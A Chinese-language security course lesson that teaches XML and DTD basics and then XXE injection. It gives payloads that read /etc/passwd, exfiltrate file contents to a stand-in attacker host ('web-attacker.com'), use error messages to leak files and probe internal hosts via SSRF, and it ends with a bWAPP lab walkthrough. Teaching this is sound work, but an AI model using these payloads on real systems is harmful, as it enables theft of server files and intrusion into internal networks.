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课程提交
2 years ago
# 24｜资源注入：攻击方式为什么会升级？
你好，我是王昊天。
在我们浏览Web应用的时候，我们可以看到很多不同的信息，并且它们会以不同的样式展现给我们。Web开发者为了方便数据的管理和维护，往往会将数据内容和前端设计分开。XML会在这个过程中扮演很重要的角色。
XML即可扩展标记语言，它的名称来自eXtensible Markup Language的缩写。XML与HTML不同，它仅仅被设计用来传输和存储数据，不负责数据的显示。值得一提的是，它被广泛应用于各种Web应用中，为数据的读取提供了极大的便利。
可是XML在给我们带来便利的同时，也带来了一些安全性的问题，今天让我们一起来学习它带来的安全问题吧！
## XML外部实体注入
XML带来的安全问题主要是XML外部实体注入，即XML external entity (XXE) injection，我们简称为XXE。在对这一漏洞进行学习之前，我们首先来学习XML的基础知识。
### XML可扩展标记语言
XML的意思为可扩展标记语言，它是负责数据的传输和存储的。为了让你更好地理解它，我们直接来看示例。
```xml
# 这是XML声明。
<?xml version="1.0" encoding="ISO-8859-1"?>
# 接下来开始了对存储数据的描述，它的根元素为`note`。
<note date="2022/02/08">
<to>LiYang</to>
<from>WangHua</from>
<heading>Email</heading>
<body>Welcome to China!</body>
</note>
```
这就是一个简单的XML语句，你可能看不懂它，但不要着急，我来给你解释一下。
代码第一行的内容为XML语言的声明，它定义了XML版本（1.0）以及所使用的编码（ISO-8859-1）。完成声明之后，就可以开始存储数据了，可以看到它包含了很多的标签，其中note标签是它的根节点，在根节点下面有很多标签如<to>、<from>等，这些标签的名字可由我们自由设定，标签中夹的内容为标签对应的数据，这可以方便Web应用去获取。
其中note标签中包含了一个date属性，标签中的属性主要用来记录数据的元数据，例如数据的编号等。数据本身则应该存储为元素，所以我们最好将上述XML代码改为如下：
```xml
# 这是XML声明。
<?xml version="1.0" encoding="ISO-8859-1"?>
# 接下来开始了对存储数据的描述，它的根元素为`note`。
<note id="1">
<date>2022/02/08</date>
<to>LiYang</to>
<from>WangHua</from>
<heading>Email</heading>
<body>Welcome to China!</body>
</note>
```
**这样XML代码就更加符合规范。**当然，XML代码也是存在一定的形式要求的，那就是XML验证，我们先来看看对于XML的形式要求是什么。
第一个要求为，XML文档必须要有根元素，在上述代码示例中note即为根元素。符合这一个要求后，验证程序会去检验XML文档中必须有关闭标签，即有了<date>就必须要有</date>，并且标签中的字母大小写要一致。最后，验证程序会去判断XML是否被正确嵌套了，并且它标签中的属性值是否加了引号。
当一个XML文档符合上述形式要求后，它还需要满足一个文档类型定义即DTD的语法规则，接下来让我们一起来学习它。
### DTD文档类型定义
DTD的作用为定义XML文档的合法构建方式，为了让你更好地理解它，下面让我们一起来看一个示例：
```xml
<!DOCTYPE note [
<!ELEMENT note (date,to,from,heading,body)>
<!ELEMENT date (#PCDATA)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
```
在上述DTD代码中，第一行定义了这是对哪种类型的根元素的限制，如在上述示例中，就是对note类型的限制。然后规定了这个节点下面有哪些子标签，并且对每个标签的内容进行定义，示例中将每个标签的内容都规定为PCDATA即解析字符数据。
完成了DTD的编写之后，Web应用在处理XML文档时，就会开始判断XML是否合法，如果合法就会处理这个文档，否则就不会继续处理这个文档。一般来说，DTD文档既可以被写在XML文档内，也可以通过外部引用进行导入，它的导入方式如下：
```xml
<!DOCTYPE note SYSTEM "http://www.example.com/example.dtd">
#其中 example.dtd文件为
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
```
这段代码引入了外部DTD文件，这里是一个安全隐患。到这里，你可能会好奇DTD不就是做一些检测工作，会导致什么安全问题呢？
事实上，这个DTD文档，还有一个实体声明的功能，**它的这一功能也就是导致我们今天所讲的XXE漏洞的主要原因。**接下来，让我们一起来重点看看它吧。
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量，这么说可能会有点抽象，下面我们一起看一个示例，这样理解起来就会简单些。
```xml
<?xml version="1.0"?>
<!DOCTYPE example [
#<!ENTITY 实体名称 “实体的值”>
<!ENTITY to "LiHua">
]>
<example>&to;</example>
```
在这个示例的DTD语句中，定义了一个实体to，并让它的值为LiHua，然后在XML语句中，可以用&to调用这个实体。
这是一个内部实体声明，因为实体的值已经被写在了XML语句中，它其实还支持外部实体声明，具体的实现方式为：
```plain
#<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY to SYSTEM "http://example.com/example.dtd">
```
这个功能就是我们今天所讲的XXE的罪魁祸首，攻击者就是通过DTD外部实体声明来实现外部实体注入的。
### XML外部实体注入的产生原因
如果Web应用存在外部实体注入问题，那么攻击者可以构建负载如下：
```plain
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
```
如果页面解析了其中c标签的内容，并将它输出在Web页面上，那么攻击者就可以读取到隐私文件passwd里的内容，这是非常危险的。
当然攻击者也可以利用DTD文档引入外部DTD文档，然后再引入外部实体声明，这样需要的XML内容为：
```plain
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://evial_ip.com/evil.dtd">
<c>&b;</c>
```
其中外部的evil.dtd文件的内容为：
```plain
<!ENTITY b SYSTEM "file:///etc/passwd">
```
这样也是可以实现输出隐私文件passwd的功能。除此之外，攻击者还可以通过DTD外部实体声明引入外部实体声明，这有点类似于套娃了，不过它也是一种可行的方式，让我们一起来看看吧。
```plain
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://example.com/example.dtd">
%d;
]>
<c>&b;</c>
#example.dtd的内容为
<!ENTITY b SYSTEM "file:///etc/passwd">
```
注意这里的%d，它是一个参数实体。Web应用在解析这个XML文件时，会首先将%d的值设置为example.dtd中的内容，然后调用%d，将example.dtd的运行结果赋予给b，并将它输出到标签<c>中。
以上内容就是XML外部实体注入的产生原因，下面我们一起来学习它有哪些危害吧。
## XML外部实体注入的危害
XML外部实体注入会有很多危害，例如隐私文件获取以及发起SSRF攻击。让我们看一下它的攻击方式。
### XXE隐私文件获取
在之前学习XXE攻击方式的过程中，我们用XXE攻击来获取passwd文件。其实这就是XXE获取隐私文件的攻击方式。
在之前的示例中，我们默认了页面会将我们设置的XML内容进行输出，但实际上，**Web应用往往不会输出我们注入的XML内容**。这时候就是XXE盲注，我们需要借助一些技巧，来将文件的内容展示出来。
面对XXE盲注时，我们可以利用带外的方法来获取数据：
```plain
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```
在上述示例中，我们将获取到的数据通过get方式发送到攻击者的服务器，这样攻击者可以查看服务器接收到的请求获取到想要的数据。
当然，我们还可以利用报错信息来输出想要获取的数据：
```plain
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```
在这个示例中，我们将引入了error参数，XML会去访问一个不存在的文件，导致错误的产生，并将错误信息给eval，由于文件路径中存在我们需要的数据file，这样就会导致Web应用显示出错信息，并且其中包含我们需要的数据。我们可以看一个示例输出：
```plain
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```
### XXE发起SSRF攻击
SSRF攻击即为服务端请求伪造，我们可以利用XXE来实现。首先我们先来看一个示例，这样可以帮助我们理解它的攻击方式。
```plain
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
```
这是我们需要注入的XML代码，Web应用在解析它的时候，会向其中的链接发出请求，并且这个请求是由被攻击Web应用的服务器所发送的，这就是SSRF攻击。
它到底有什么作用呢？**我们可以利用它来判断Web应用服务器内网地址的开启情况**，只需要将链接改为服务器的内网地址，然后根据响应的内容就可以判断内网地址是否开放，这会对内网的安全产生威胁。
在了解完XXE的攻击方式后，让我们进入到实战部分来切身体会下XXE攻击的危害吧。
## 实战演练
在实战过程中，我们选用靶场bwapp做测试，需要注意的是，我们要将bwapp靶场中的xxe-2.php文件中的内容作修改，将$xml的值改为如下：
```php
$xml = simplexml_load_string($body,'SimpleXMLElement',LIBXML_NOENT);
```
然后，打开靶场我们可以看到，页面中有一个按钮 `Any bugs?`，我们点击不会有反应，这时候可以打开Burpsuite做测试，通过捕获我们获取到点击按钮会发送请求：
```plain
POST /xxe-2.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 59
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
sec-ch-ua-platform: "macOS"
Content-type: text/xml; charset=UTF-8
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/xxe-1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security_level=0; PHPSESSID=847jvmklugetdus5u1on5b92v6
Connection: close
<reset><login>bee</login><secret>Any bugs?</secret></reset>
```
经过观察，我们看到Content-type的值为text/xml，所以我们可以分析出下面的数据为XML数据，于是可以尝试进行XXE攻击。
```plain
POST /xxe-2.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 178
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
sec-ch-ua-platform: "macOS"
Content-type: text/xml; charset=UTF-8
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/xxe-1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security_level=0; PHPSESSID=847jvmklugetdus5u1on5b92v6
Connection: close
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset[
<!ENTITY Info SYSTEM "http://127.0.0.1/1.txt">
]>
<reset><login>&Info;</login><secret>Any bugs?</secret></reset>
```
我们可以利用之前学习的知识，将请求中的XML数据进行修改，利用XXE攻击获取到1.txt文件中的内容。
![图片](https://static001.geekbang.org/resource/image/39/77/395a33bf52ec0bafeec39e73a24c5177.jpg?wh=1920x1019)
可以看到1.txt中的内容已经被显示在响应中，我们的XXE攻击成功。
## 总结
这一讲我们学习了XML外部实体注入攻击，首先我们介绍了什么是XML可扩展标记语言，知道它是一个用来存储和调用数据的文件，并对它的语法进行了大致的了解。
随着对它学习的深入，我们知道了XML中存在一个验证文档，即DTD文档类型定义，并了解到它其中有一个实体定义的问题，也就是引起XXE漏洞的主要原因。
在学习完一些XML以及DTD的基础知识后，我们深入地分析了XXE漏洞产生的原因，即XML代码注入导致的DTD对外部实体的定义，从而获取到一些隐私文件或者发起服务端请求伪造。
最后，我们通过实战切身体会到了XXE攻击的危害，并且加深了我们对这一攻击方式的理解。
## 思考题
你知道有什么防范XXE攻击的措施吗？
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话，也欢迎你把课程分享给其他同事或朋友，我们共同学习进步！